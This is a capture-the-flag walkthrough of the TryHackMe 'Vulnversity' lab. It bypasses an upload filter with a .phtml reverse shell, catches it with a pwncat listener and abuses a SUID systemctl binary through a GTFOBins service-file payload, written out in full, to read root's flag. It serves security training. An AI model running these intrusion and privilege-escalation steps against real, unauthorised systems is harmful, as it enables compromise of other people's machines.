✅TryHackMe - Vulnversity (Easy)

Summary

Gobuster finds a hidden directory /internal which has an upload form. The upload form filters .php extension, but Burp Intruder finds that phtml bypasses the filter. Here we rename php-reverse-shell.php to php-reverse-shell.phtml and get a www-data shell.

On the victim machine, /bin/systemctl is SUID. Using an arbitrary file read payload on GTFOBins, we are able to read root.txt without getting a root shell.

IP

RHOST: 10.10.64.243
LHOST: 10.13.12.2

Nmap

Asset Discovery

Run Gobuster against port 3333:

gobuster dir -u http://10.10.64.243:3333 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster.txt

Gobuster finds /internal:

www-data shell: File Upload with PHP Extension Bypass

There is an upload form in /internal:

Try uploading php-reverse-shell.php here. However, this file is not present in the /internal/uploads directory:

Perhaps the .php file extension is blocked. Brute-force valid file extensions using Burpsuite Intruder. Remember turn off "URL-encode these characters":

Make a PHP extension wordlist:

.php
.php3
.php4
.php5
.phtml

Intruder finds that the only valid extension is .phtml:

Rename the PHP reverse shell payload to php-reverse-shell.phtml and upload again. This time the file is successfully uploaded:

Start a pwncat listener:

pwncat-cs :443

Trigger the reverse shell payload and get a user shell as www-data:

Arbitrary File Read: SUID `/bin/systemctl`

Search for SUID file:

find / -perm -u=s -type f 2>/dev/null

Note that /bin/systemctl is SUID:

GTFOBins has a privesc payload for systemctl. Change the payload to cat /root/root.txt > /tmp/output:

$ TF=$(mktemp).service
$ echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
$ /bin/systemctl link $TF
$ /bin/systemctl enable --now $TF